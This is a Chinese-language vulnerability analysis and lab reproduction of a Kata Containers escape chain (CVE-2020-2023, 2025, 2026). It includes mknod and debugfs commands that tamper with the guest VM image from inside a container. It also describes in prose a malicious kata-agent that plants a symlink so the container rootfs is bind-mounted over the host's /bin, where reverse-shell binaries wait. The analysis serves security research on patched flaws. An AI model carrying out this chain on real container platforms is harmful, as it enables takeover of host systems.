简介

在2020年Black Hat北美会议上,来自Palo Alto Networks的高级安全研究员Yuval Avrahami分享了利用多个漏洞成功从Kata containers逃逸的议题[1]。

作为一种轻量级虚拟化技术,传统容器与宿主机共享内核,这意味着系统内核权限提升漏洞往往也可用来实施容器逃逸。为了彻底解决这一问题,在轻量与安全性之间达到较好的平衡,安全容器应运而生。Kata Containers是一种安全容器的具体实现,其他主流的安全容器还有Google推出的gVisor [4]等。

Kata Containers项目最初由Hyper.sh的runV项目与Intel的Clear Container合并而来,并于2017年开源[2]。它的核心思想是,为每一个容器运行一个独立虚拟机,从而避免其与宿主机共享内核。这样一来,即使攻击者在容器内部成功利用了内核漏洞攻破内核,他依然被限制在虚拟机内部,无法逃逸到宿主机上。Kata Containers在官方介绍中[3]直观地展示了它与传统容器之间的异同:

从上图可以得出结论,在不考虑其他因素的情况下,如果Kata Containers内部的攻击者想要逃逸到宿主机上,他必须至少经过两次逃逸——「容器逃逸」和「虚拟机逃逸」,才能达到目的。也就是说,单一的漏洞可能将不再奏效,攻击者需要构建一条漏洞利用链。

事实上,Yuval Avrahami也是这么做的。他分享的议题中一共涉及四个漏洞:

  1. CVE-2020-2023:Kata Containers容器不受限地访问虚拟机的根文件系统设备[5],CVSS 3.x评分为6.3[11];
  2. CVE-2020-2024:Kata Containers运行时(runtime)在卸载(unmount)挂载点时存在符号链接解析漏洞,可能允许针对宿主机的拒绝服务攻击[6],CVSS 3.x评分为6.5[12];
  3. CVE-2020-2025:基于Cloud Hypervisor的Kata Containers会将虚拟机文件系统的改动写入到虚拟机镜像文件(在宿主机上)[7],CVSS 3.x评分为8.8[13];
  4. CVE-2020-2026:Kata Containers运行时在挂载(mount)容器根文件系统(rootfs)时存在符号链接解析漏洞,可能允许攻击者在宿主机上执行任意代码[8],CVSS 3.x评分为8.8 [14]。

其中,CVE-2020-2024主要会导致拒绝服务攻击,对逃逸帮助不大。逃逸主要依靠其他三个漏洞形成的利用链条来实现。

这个议题精彩又富有意义。它让我们意识到,即使是采用了独立内核的“安全容器”,也存在逃逸风险。换句话说,安全没有银弹。

本文将对该议题中的逃逸过程(Container-to-Host)及相关的三个漏洞进行详解和复现。

注:

  • 相关漏洞在新版本Kata Containers中均已得到修复。
  • 文中涉及到的是Kata Containers 1.x系列版本,2.x有所差异但相关度不大,不再涉及,感兴趣的读者可以参考官方文档[19]。
  • 后文过程中使用的Kata Containers组件、源码版本如无特殊说明,均为1.10.0。

背景知识

安全容器

「安全容器」一词,是相对于传统容器而言的。作为一种虚拟化技术,虽然容器本身已经提供了一定程度上的隔离性,但这种隔离性时不时就会被打破。问题的根源在于,传统容器与宿主机共享内核,内核漏洞势必会直接影响容器的安全性。然而由于内核的复杂度过高等原因,近年来,高危内核漏洞层出不穷。

那么,为什么不直接使用虚拟机呢?答案很明显,性能和资源开销问题使得传统虚拟机技术在现今很多场景和开发部署模式下并不适用,而这也恰恰是容器技术流行的主要原因之一。因此,人们引入了安全容器,希望在轻量化和安全性上达到较好的平衡。

随着云原生技术和生态的发展,开源安全容器项目也在陆续增多。下面,我们介绍两种主流、目标一致但原理各异的安全容器项目:Kata Containers和gVisor。

Kata Containers

在「简介」部分,我们已经概括了Kata Containers项目的诞生和原理相关信息,这里不再重复。我们来深入了解一下Kata Containers,这对后面的漏洞分析和利用有帮助。Kata Containers符合OCI运行时规范[18],能够替换runC,与Docker引擎无缝对接,也支持Kubernetes。

下图[2]清晰展示了Kata Containers的组件及各自的角色位置:

我们来分别介绍一下各个组件及其作用:

  • runtime:容器运行时,负责处理来自Docker引擎或Kubernetes等上层设施的命令(OCI规范定义)及启动kata-shim,程序名为kata-runtime。
  • agent:运行在虚拟机中,与runtime交互,用于管理容器及容器内进程,程序名为kata-agent。
  • proxy:负责宿主机与虚拟机之间的通信(对shim、runtime及agent之间的I/O流及信号进行路由),如果宿主机内核支持vsock,则proxy是非必要的,程序名为kata-proxy。
  • shim:容器进程收集器,用来监控容器进程并收集、转发I/O流及信号,程序名为kata-shim。
  • hypervisor:虚拟机监视器,负责虚拟机的创建、运行、销毁等管理,有多种选择,QEMU、Cloud Hypervisor等。
  • 虚拟机:由高度优化过的内核和文件系统镜像文件创建而来,负责为容器提供一个更强的隔离环境。

欲了解更多关于Kata Containers的内容,可以参考官方文档[3][17]。

gVisor

gVisor是由Google开源的一款安全容器,它在实现上与Kata Containers有明显不同。Kata Containers虽然同样避免了容器与宿主机共享内核,但它的思路是提供一个虚拟机,容器与虚拟机共享内核;而gVisor则直接在用户层实现了内核,用来拦截容器内程序对系统API的调用,处理并响应。

欲了解更多关于gVisor的内容,可以参考官方文档[20]。

Cloud Hypervisor

Cloud Hypervisor是一个开源的虚拟机监视器(VMM),基于KVM运行。该项目专注于在受限硬件基础架构和平台上运行现代云计算工作流。它采用Rust语言实现,基于rust-vmm创建。

从1.10.0版本起,Kata Containers支持采用Cloud Hypervisor作为它的虚拟机监视器。

欲了解更多关于Cloud Hypervisor的内容,可以参考官方文档[16]。

漏洞分析

如「简介」部分所述,从容器到宿主机的逃逸涉及三个漏洞的使用,由「容器逃逸」和「虚拟机逃逸」两部分组成。

其中,容器逃逸涉及到的漏洞是CVE-2020-2023,虚拟机逃逸涉及到的漏洞是CVE-2020-2025和CVE-2020-2026。其中,前两个是权限控制的问题,最后一个漏洞则是云原生环境下的“常客”——未限制符号链接解析导致的文件系统逃逸问题,类似的漏洞还有CVE-2019-14271[21]等。

下面我们分别进行简单分析。

CVE-2020-2023

这个漏洞是典型的权限控制问题——容器内部可以访问并修改虚拟机的文件系统。其根源之一在于,Kata Containers并未通过Device Cgroup[21]限制容器对虚拟机设备的访问,因此容器能够通过创建设备文件的方式来访问到虚拟机设备。

创建设备文件需要用到mknod系统调用,而mknod需要Capabilities中的CAP_MKNOD权限[23]。那么容器是否拥有这个权限呢?不同引擎的规定不一定相同,但至少默认情况下Docker引擎是支持此权限的[24]:

// moby/oci/caps/defaults.go
package caps // import "github.com/docker/docker/oci/caps"

// DefaultCapabilities returns a Linux kernel default capabilities
func DefaultCapabilities() []string {
	return []string{
		"CAP_CHOWN",
		"CAP_DAC_OVERRIDE",
		"CAP_FSETID",
		"CAP_FOWNER",
		"CAP_MKNOD", // 容器有此权限!
		"CAP_NET_RAW",
		"CAP_SETGID",
		"CAP_SETUID",
		"CAP_SETFCAP",
		"CAP_SETPCAP",
		"CAP_NET_BIND_SERVICE",
		"CAP_SYS_CHROOT",
		"CAP_KILL",
		"CAP_AUDIT_WRITE",
	}
}

为了进一步确定,我们可以在Kata Containers创建的容器中来验证一下:

root# docker run --rm -it ubuntu /bin/bash
root@df2cff910fdb:/# grep CapEff /proc/self/status
CapEff:	00000000a80425fb
root@df2cff910fdb:/# exit
exit
root# capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

首先从容器中/proc/self/status文件获取到Capabilities的具体值,然后对其进行解析。结果显示,容器确实拥有CAP_MKNOD权限。

既然如此,再结合CVE-2020-2023,我们进一步来尝试下能否在容器内通过创建设备文件来访问、甚至修改设备。

在存在漏洞的环境中(后文「逃逸复现-环境准备」小节给出了搭建漏洞环境的方法,读者可参考),创建一个容器;在容器内,首先我们需要找到底层虚拟机块设备的设备号,然后创建设备文件。

/sys/dev/block/目录下是各种块设备的符号链接,文件名即为目标块设备的主次设备号,我们要找到目标块设备为vda1的符号链接文件名,从而获得主次设备号。

例如,在笔者的环境下:

root@7d30fe24da7e:/# ls -al /sys/dev/block/ | grep vda1
lrwxrwxrwx 1 root root 0 Sep 23 03:16 254:1 -> ../../devices/pci0000:00/0000:00:01.0/virtio0/block/vda/vda1

找到主设备号为254,次设备号为1。在获取设备号后,即可使用mknod创建设备文件:

mknod --mode 0600 /dev/guest_hd b 254 1

接着,就可以对该设备进行访问和操作了。这里我们可以借助debugfs工具来实现:

root@7d30fe24da7e:/# /sbin/debugfs -w /dev/guest_hd
debugfs 1.45.5 (07-Jan-2020)
debugfs:  ls
 2  (12) .    2  (12) ..    11  (20) lost+found    12  (16) autofs
 13  (12) bin    14  (12) boot    15  (12) dev    16  (12) etc
 21  (12) home    22  (12) lib    23  (16) lib64    24  (16) media
 25  (12) mnt    26  (12) proc    27  (12) root    28  (12) run
 29  (12) sbin    30  (12) srv    31  (12) sys    32  (12) tmp
 33  (12) usr    2061  (3824) var

果然,漏洞存在时,我们的确能够访问虚拟机文件系统。那么,能否修改呢?可以的,例如,kata-agent就在usr/bin目录下:

debugfs:  cd usr/bin
debugfs:  ls
 435  (12) .    33  (12) ..    436  (20) kata-agent    437  (16) ldconfig
 438  (16) chronyc    439  (16) chronyd    440  (16) capsh
 441  (16) getcap    442  (16) getpcaps    443  (16) setcap    444  (12) su
 445  (16) bootctl    446  (16) busctl    447  (20) coredumpctl

我们可以直接删除它:

debugfs:  rm kata-agent

debugfs:  ls
 435  (12) .    33  (32) ..    437  (16) ldconfig    438  (16) chronyc
 439  (16) chronyd    440  (16) capsh    441  (16) getcap
 442  (16) getpcaps    443  (16) setcap    444  (12) su    445  (16) bootctl
 446  (16) busctl    447  (20) coredumpctl    448  (12) halt

可以看到,操作执行成功,kata-agent被删除了。

我们能够修改文件系统,说明它以读写模式挂载,这是漏洞根源之二。

CVE-2020-2025

该漏洞也属于权限控制问题——在存在漏洞的环境中,虚拟机镜像并未以只读模式挂载。因此,虚拟机能够对硬盘进行修改,并将修改持久化到虚拟机镜像中。这样一来,后续所有新虚拟机都将从修改后的镜像创建了。

我们来验证一下。思路是,在之前CVE-2020-2023的基础上,先启动一个容器,使用debugfs向虚拟机硬盘中写入一个flag.txt文件,内容为hello, kata,然后销毁该容器,再次创建一个新容器,在其中使用debugfs查看文件系统是否存在上述文件,以判断虚拟机镜像是否被改写。具体的过程如下:

root# docker run --rm -it ubuntu /bin/bash
root@28caf254e3b3:/# mknod --mode 0600 /dev/guest_hd b 254 1
root@28caf254e3b3:/# echo "hello, kata" > flag.txt
root@28caf254e3b3:/# /sbin/debugfs -w /dev/guest_hd
debugfs 1.45.5 (07-Jan-2020)
debugfs:  cd usr/bin
debugfs:  write flag.txt flag.txt
Allocated inode: 172
debugfs:  close -a
debugfs:  quit
root@28caf254e3b3:/# exit
exit
root#
root# docker run --rm -it ubuntu /bin/bash
root@1773bd058e1b:/# mknod --mode 0600 /dev/guest_hd b 254 1
root@1773bd058e1b:/# /sbin/debugfs -w /dev/guest_hd
debugfs 1.45.5 (07-Jan-2020)
debugfs:  cd usr/bin
debugfs:  dump flag.txt flag.txt
debugfs:  quit
root@1773bd058e1b:/# cat flag.txt
hello, kata

可以看到,虚拟机镜像确实被改写了。

CVE-2020-2026

CVE-2020-2026属于非常典型的一类漏洞——符号链接处理不当引起的安全问题[25]。我们来抽丝剥茧,一步步分析这个漏洞。

在「背景知识」部分,我们已经介绍了Kata Containers的基本组件,下面是Kata Containers执行OCI命令create时组件间的交互时序图 [26]:

其中,virtcontainers曾经是一个独立的项目,现在已经成为kata-runtime的一部分,它为构建硬件虚拟化的容器运行时提供了一套Go语言库。除此以外,上图涉及到的其他组件我们都介绍过了。

可以看到,Docker引擎向kata-runtime下发create指令,然后,kata-runtime通过调用virtcontainers的CreateSandbox来启动具体的容器创建过程。接着,virtcontainers承担起主要职责,调用Hypervisor提供的服务去创建网络、启动虚拟机。

我们重点关注virtcontainers向agent发起的CreateSandbox调用,从这里开始,virtcontainers与agent连续两次请求响应,是容器创建过程中最核心的部分,也是CVE-2020-2026漏洞存在的地方:

virtcontainers  --- CreateSandbox --->  agent
virtcontainers  <-- Sandbox Created --  agent
virtcontainers  -- CreateContainer -->  agent
virtcontainers  <--Container Created--  agent

这里的Sandbox与Container有什么不同呢?Sandbox是一个统一、基本的隔离空间,一个虚拟机中只有一个Sandbox,但是该Sandbox内可以有多个容器,这就对应了Kubernetes Pod的模型;对于Docker来说,一般一个Sandbox内只运行一个Container。无论是哪种情况,Sandbox的ID与内部第一个容器的ID相同。

在上面这两来两往的过程中,容器即创建完成。我们知道,容器是由镜像创建而来,那么kata-runtime是如何将镜像内容传递给虚拟机内部kata-agent的呢?答案是,将根文件目录(rootfs)挂载到宿主机与虚拟机的共享目录中。

首先,runtime/virtcontainers/kata_agent.gostartSandbox函数向kata-agent发起gRPC调用:

storages := setupStorages(sandbox)
kmodules := setupKernelModules(k.kmodules)

req := &grpc.CreateSandboxRequest{
    Hostname:      hostname,
    Dns:           dns,
    Storages:      storages,
    SandboxPidns:  sandbox.sharePidNs,
    SandboxId:     sandbox.id,
    GuestHookPath: sandbox.config.HypervisorConfig.GuestHookPath,
    KernelModules: kmodules,
}

可以看到,其中带有SandboxIdStorages参数。其中,Storages的值来自setupStorages函数,这个函数用于配置共享目录的存储驱动、文件系统类型和挂载点等。Storages内的元素定义如下(setupStorages函数):

sharedVolume := &grpc.Storage{
	Driver:     kataVirtioFSDevType,
	Source:     mountGuestTag,
	MountPoint: kataGuestSharedDir(),
	Fstype:     typeVirtioFS,
	Options:    sharedDirVirtioFSOptions,
}

其中,kataGuestSharedDir函数会返回共享目录在虚拟机内部的路径,也就是MountPoint的值:/run/kata-containers/shared/containers/

OK,切换到kata-agent侧。当它收到gRPC调用请求后,内部的CreateSandbox函数开始执行(位于agent/grpc.go)。具体如下(我们省略了内核模块加载、命名空间创建等代码逻辑):

func (a *agentGRPC) CreateSandbox(ctx context.Context, req *pb.CreateSandboxRequest) (*gpb.Empty, error) {
	if a.sandbox.running {
		return emptyResp, grpcStatus.Error(codes.AlreadyExists, "Sandbox already started, impossible to start again")
	}
	// 省略...
	if req.SandboxId != "" {
		a.sandbox.id = req.SandboxId
		agentLog = agentLog.WithField("sandbox", a.sandbox.id)
	}
	// 省略...
	mountList, err := addStorages(ctx, req.Storages, a.sandbox)
	if err != nil {
		return emptyResp, err
	}

	a.sandbox.mounts = mountList

	if err := setupDNS(a.sandbox.network.dns); err != nil {
		return emptyResp, err
	}

	return emptyResp, nil
}

可以看到,在收到请求后,kata-agent会调用addStorages函数去根据kata-runtime的指令挂载共享目录,经过深入,该函数最终会调用mountStorage函数执行挂载操作:

// mountStorage performs the mount described by the storage structure.
func mountStorage(storage pb.Storage) error {
	flags, options := parseMountFlagsAndOptions(storage.Options)

	return mount(storage.Source, storage.MountPoint, storage.Fstype, flags, options)
}

这里的MountPoint即是来自kata-runtime的/run/kata-containers/shared/containers/。至此,宿主机与虚拟机的共享目录已经挂载到了虚拟机内。

最后,CreateSandbox执行完成,kata-runtime收到回复。

那么,kata-runtime什么时候会向共享目录中挂载呢?如下图所示,发送完CreateSandobx请求后,kata-runtime在bindMountContainerRootfs中开始挂载容器根文件系统:

代码如下:

func bindMountContainerRootfs(ctx context.Context, sharedDir, sandboxID, cID, cRootFs string, readonly bool) error {
	span, _ := trace(ctx, "bindMountContainerRootfs")
	defer span.Finish()

	rootfsDest := filepath.Join(sharedDir, sandboxID, cID, rootfsDir)

	return bindMount(ctx, cRootFs, rootfsDest, readonly)
}

其中,rootfsDest是宿主机上共享目录中容器根文件系统的位置。它的形式是/run/kata-containers/shared/sandboxes/sandbox_id/container_id/rootfs,其中sandbox_idcontainer_id分别是Sandbox和容器的ID。如前所述,对于只运行一个容器的情况来说,这两个ID是一致的;cRootFs是根文件系统在虚拟机内部共享目录中的挂载位置,形式为/run/kata-containers/shared/containers/sandbox_id/rootfs

在函数的末尾,bindMount函数执行实际的绑定挂载任务:

func bindMount(ctx context.Context, source, destination string, readonly bool) error {
	// 省略...
	absSource, err := filepath.EvalSymlinks(source) // 重点!!!
	if err != nil {
		return fmt.Errorf("Could not resolve symlink for source %v", source)
	}
	// 省略...
	if err := syscall.Mount(absSource, destination, "bind", syscall.MS_BIND, ""); err != nil {
		return fmt.Errorf("Could not bind mount %v to %v: %v", absSource, destination, err)
	}
	// 省略...
	return nil
}

重点来了!该函数会对虚拟机内部的挂载路径做符号链接解析。

符号链接解析是在宿主机上进行的,但是实际的路径位于虚拟机内。如果虚拟机由于某种原因被攻击者控制,那么攻击者就能够在挂载路径上创建一个符号链接,kata-runtime将把容器根文件系统挂载到该符号链接指向的宿主机上的其他位置!

举例来说,假如虚拟机内部的kata-agent被攻击者替换为恶意程序,该恶意agent在收到CreateSandbox请求后,根据拿到的Sandbox ID在/run/kata-containers/shared/containers/sandbox_id/创建一个名为rootfs的符号链接,指向/tmp/xxx目录,那么之后kata-runtime在进行绑定挂载时,就会将容器根文件系统挂载到宿主机上的/tmp/xxx目录下。在许多云场景下,容器镜像是攻击者可控的, 因此——他够将特定文件放在宿主机上的特定位置,从而实现虚拟机逃逸。

第一眼看到CVE-2020-2026,也许有的朋友会觉得不太好利用,攻击者不是在容器里么?如何跑到虚拟机里?

是的,一般情况下的确比较困难,但是一旦与CVE-2020-2023、CVE-2020-2025结合起来,就有可能了。

逃逸复现

环境准备

我们需要准备一套存在前述三个漏洞的Kata Containers环境,并配置其使用Cloud Hypervisor作为虚拟机管理程序。这里,笔者采用VMWare + Ubuntu18.04 + Docker + Kata Containers 1.10.0作为测试环境。

首先,参照官方文档安装Docker[9]。接着,从Kata Containers官方Github仓库[10]下载1.10.0版本的静态程序包kata-static-1.10.3-x86_64.tar.xz,下载后进行安装即可,具体可参考如下步骤(需要root权限):

#!/bin/bash
set -e -x

# 下载安装包(如果已经下载,此步可跳过)
#wget https://github.com/kata-containers/runtime/releases/download/1.10.0/kata-static-1.10.0-x86_64.tar.xz
tar xf kata-static-1.10.0-x86_64.tar.xz
rm -rf /opt/kata
mv ./opt/kata /opt
rmdir ./opt
rm -rf /etc/kata-containers
cp -r /opt/kata/share/defaults/kata-containers /etc/
# 使用Cloud Hypervisor作为虚拟机管理程序
rm /etc/kata-containers/configuration.toml
ln -s /etc/kata-containers/configuration-clh.toml /etc/kata-containers/configuration.toml
# 配置Docker
mkdir -p /etc/docker/
cat << EOF > /etc/docker/daemon.json
{
  "runtimes": {
    "kata-runtime": {
      "path": "/opt/kata/bin/kata-runtime"
    },
    "kata-clh": {
      "path": "/opt/kata/bin/kata-clh"
    },
    "kata-qemu": {
      "path": "/opt/kata/bin/kata-qemu"
    }
  },
  "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn/"]
}
EOF
mkdir -p /etc/systemd/system/docker.service.d/
cat << EOF > /etc/systemd/system/docker.service.d/kata-containers.conf
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -D --add-runtime kata-runtime=/opt/kata/bin/kata-runtime --add-runtime kata-clh=/opt/kata/bin/kata-clh --add-runtime kata-qemu=/opt/kata/bin/kata-qemu --default-runtime=kata-runtime
EOF
# 重载配置&重新启动Docker
systemctl daemon-reload && systemctl restart docker

安装完成。可以看一下Docker当前配置的runtime是否为Kata Containers:

root# docker info | grep 'Runtime'
 Runtimes: kata-runtime runc kata-clh kata-qemu
 Default Runtime: kata-runtime

OK,再尝试使用Kata Containers + Cloud Hypervisor运行一个容器:

root# docker run --rm -it --runtime="kata-clh" ubuntu uname -a
Linux 1998641bad3f 5.3.0-rc3 #1 SMP Thu Jan 16 01:53:44 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

可以看到,容器使用的内核版本为5.3.0-rc3,而我们测试环境宿主机的内核版本为4.15.0-117-generic

root# uname -a
Linux matrix 4.15.0-117-generic #118-Ubuntu SMP Fri Sep 4 20:02:41 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

这说明我们的环境搭建成功。

我们想要模拟的场景如下:

目标环境是一个提供容器服务(Container-as-a-Service)的云虚拟化平台,使用Kata Containers作为容器运行时。该容器服务的用户能够上传自己的镜像并在云平台上运行一个或多个容器。攻击者首先上传恶意镜像,启动一个容器,污染Kata Containers使用的虚拟机镜像;然后再次启动一个恶意容器,此时,Kata Containers使用被污染的虚拟机镜像创建出一个恶意虚拟机,它会欺骗Kata Containers运行时组件(kata-runtime)将恶意容器根文件系统挂载到云平台宿主机上/bin目录下。管理员在使用/bin目录下的工具时触发反弹shell,攻击者收到反弹shell,实现逃逸。

漏洞利用

下图更清晰地展示了整个逃逸流程:

下面,我们就来逐步看一下。

1. 构建恶意kata-agent

结合前面漏洞分析部分可知,要利用好CVE-2020-2026漏洞,就需要在kata-agent的gRPC服务器上做文章。

首先拿到kata-agent的源码并切换到1.10.0版本:

mkdir -p $GOPATH/src/github.com/kata-containers/
cd $GOPATH/src/github.com/kata-containers/
git clone https://github.com/kata-containers/agent
cd agent
git checkout 1.10.0

grpc.go文件中,找到CreateSandobx函数,其中有一部分代码是用来将宿主机共享目录挂载到虚拟机中的:

mountList, err := addStorages(ctx, req.Storages, a.sandbox)
if err != nil {
    return emptyResp, err
}

a.sandbox.mounts = mountList

共享目录挂载后,我们才能在里边创建符号链接。因此,在上述代码后面添加创建符号链接的代码即可。

这样一来,当kata-runtime向kata-agent发出CreateSandbox指令时,kata-agent将在共享目录内的rootfs位置创建一个符号链接,指向/bin;此后,当kata-runtime向该位置绑定挂载容器根文件系统时,实际的挂载路径将是宿主机的/bin

除此之外,我们还需要避免kata-runtime在容器生命周期结束时从/bin卸载容器根文件系统。因此,我们需要想办法在卸载操作之前把共享目录中的rootfs位置重新替换为一个正常的目录。我们注意到,kata-runtime在挂载容器镜像后,还会向kata-agent发出CreateContainer指令,因此,我们可以在kata-agent源码grpc.go文件中的CreateContainer函数内添加删除符号链接、创建正常目录的操作,避免/bin挂载点被卸载。

至此,恶意kata-agent编写完成,make构建一下即可。

2. 构建恶意镜像kata-malware-image

从上面的流程图中可以发现,攻击者实际上需要先后创建两个恶意容器。为简单起见,我们只构造一个恶意镜像,它需要完成两个任务:

  1. 在第一个容器启动时,利用CVE-2020-2023和CVE-2020-2025漏洞,将底层虚拟机块设备中的kata-agent替换为攻击者准备好的恶意文件;
  2. 第二个容器本身不需要做任何事情,但此时由于CVE-2020-2026漏洞的存在,kata-runtime会将容器的根文件系统挂载到宿主机上指定位置(由恶意kata-agent创建的符号链接指定)。因此,镜像中还需要包含反弹shell需要的程序。

第二个任务比较简单,我们只需要在恶意容器的根目录下准备反弹shell程序(建议用C语言编写,另外,网络上有很多反弹shell源码)即可。由于是覆盖到/bin,因此我们可以考虑以/bin下的一些常用命令为反弹shell命名,例如ls等。另外,假如反弹shell程序依赖bash等系统自带shell,那么我们也需要在镜像中准备——一旦/bin被覆盖,/bin/bash及一系列其他shell就不可用了。

第一个任务则稍微复杂一些,需要将上一步中构建好的恶意kata-agent写入底层虚拟机块设备中。我们可以利用现成工具「debugfs」来达到目的。

如「漏洞分析」部分所述,在获取设备号后,直接使用mknod创建设备文件:

mknod --mode 0600 /dev/guest_hd b 254 1

接着,就可以用debugfs打开该设备进行操作了(利用漏洞CVE-2020-2023)。默认情况下,直接执行debugfs会进入交互式界面。我们也可以借助它的-f参数,以文件形式给出操作指令。具体操作如下:

/sbin/debugfs -w /dev/guest_hd
# 以下在debugfs的交互命令行中执行
cd /usr/bin
rm kata-agent
write /evil-kata-agent kata-agent
close -a

由于CVE-2020-2025漏洞的存在,上述操作会直接将Kata Containers使用的虚拟机镜像中的kata-agent替换为恶意程序,任务完成。

将上述步骤制作成容器镜像即可。

3. 向目标环境上传恶意镜像

我们模拟的是针对提供容器服务的云平台场景的攻击,云平台一般会提供上传或拉取镜像的方法。为简单起见,笔者直接在目标主机上构建恶意镜像。

4. 发起攻击

万事俱备,只欠东风。攻击者现在只需要做三件事:

  1. 开启一个监听反弹shell的进程;
  2. 在目标环境上使用恶意镜像创建一个新容器;
  3. 在上一容器内的恶意脚本执行完后,继续使用恶意镜像创建第二个容器。

可以编写一个简单的脚本来自动化上述步骤:

如上图所示,攻击成功(覆盖kata-agent可能耗时较久)。此时目标宿主机上的/bin目录已经被恶意镜像的根目录覆盖(绑定挂载)。假设此时管理员登录到了宿主机上,执行了一些常用命令,例如ls

由于ls已经被替换为恶意程序,此时,攻击者收到了目标宿主机反弹回来的shell:

注意事项

  • 如果在VMWare中搭建测试环境,使用Kata Containers运行容器前需要配置一下vsock[15]:
sudo systemctl stop vmware-tools
sudo modprobe -r vmw_vsock_vmci_transport
sudo modprobe -i vhost_vsock
  • 构建恶意镜像时,使用runC构建会比直接在配置好kata-runtime的环境中快很多。
  • 事实上,对于攻击者来说,覆盖/bin并非是最好的思路。一方面,他在反弹shell中能够用到的工具会减少——原宿主机上/bin目录下的所有工具都无法使用了;另一方面,攻击者需要管理员的配合(管理员执行ls等命令)才能实现攻击。一种更好的思路是覆盖/lib/lib64目录并提供恶意的动态链接库[8],这样既不会影响到/bin目录下的工具(严格来说,可能会影响一些使用到动态链接库的程序),又不需要管理员的配合就可实施攻击,因为许多系统进程(以及kata-runtime)都会自动去调用动态链接库中的函数。

漏洞修复

在了解漏洞原理后,修复思路就显而易见了。修复细节不是本文关注的重点,感兴趣的读者可以参考官方仓库[27, 28, 29, 30]。

总结与思考

纵观云计算与虚拟化技术发展可以发现,从虚拟机到容器再到安全容器,每一种技术都曾出现过逃逸情况。笔者相信,未来还会不断有新的逃逸方式出现。当然,我们不会因噎废食,科技的进步会在效率和安全性两方面都带来越来越多的增益。但是另一方面,最小权限、纵深防御等安全最佳实践和原则依然有必要贯穿始终。

致谢

研究过程中,笔者曾就技术细节问题向原漏洞发现者、Palo Alto Networks的高级安全研究员Yuval Avrahami请教,得到其热情友好的帮助,在此向Yuval Avrahami表示真诚的感谢。

参考文献

  1. https://i.blackhat.com/USA-20/Thursday/us-20-Avrahami-Escaping-Virtualized-Containers.pdf
  2. https://katacontainers.io
  3. https://katacontainers.io/learn/
  4. https://gvisor.dev
  5. https://github.com/kata-containers/community/blob/master/VMT/KCSA/KCSA-CVE-2020-2023.md
  6. https://github.com/kata-containers/community/blob/master/VMT/KCSA/KCSA-CVE-2020-2024.md
  7. https://github.com/kata-containers/community/blob/master/VMT/KCSA/KCSA-CVE-2020-2025.md
  8. https://github.com/kata-containers/community/blob/master/VMT/KCSA/KCSA-CVE-2020-2026.md
  9. https://docs.docker.com/engine/install/ubuntu/
  10. https://github.com/kata-containers/runtime/releases/download/1.10.0/kata-static-1.10.0-x86_64.tar.xz
  11. https://nvd.nist.gov/vuln/detail/CVE-2020-2023
  12. https://nvd.nist.gov/vuln/detail/CVE-2020-2024
  13. https://nvd.nist.gov/vuln/detail/CVE-2020-2025
  14. https://nvd.nist.gov/vuln/detail/CVE-2020-2026
  15. https://github.com/teawater/documentation/blob/4eee7346655d9c954ab595c05e9f5dad0f5efeda/VSocks.md#system-requirements
  16. https://github.com/cloud-hypervisor/cloud-hypervisor
  17. https://github.com/kata-containers/documentation/tree/master/design
  18. https://github.com/opencontainers/runtime-spec
  19. https://github.com/kata-containers/kata-containers
  20. https://gvisor.dev/docs/
  21. https://nvd.nist.gov/vuln/detail/CVE-2019-14271
  22. https://www.kernel.org/doc/Documentation/cgroup-v1/devices.txt
  23. https://man7.org/linux/man-pages/man2/mknod.2.html
  24. https://github.com/moby/moby/blob/a24a71c50f34d53710cccaa4d5e5f62169c5e1dc/oci/caps/defaults.go#L4
  25. https://en.wikipedia.org/wiki/Symlink_race
  26. https://github.com/kata-containers/documentation/blob/master/design/architecture.md
  27. https://github.com/kata-containers/agent/pull/792
  28. https://github.com/kata-containers/runtime/pull/2477
  29. https://github.com/kata-containers/runtime/pull/2487
  30. https://github.com/kata-containers/runtime/pull/2713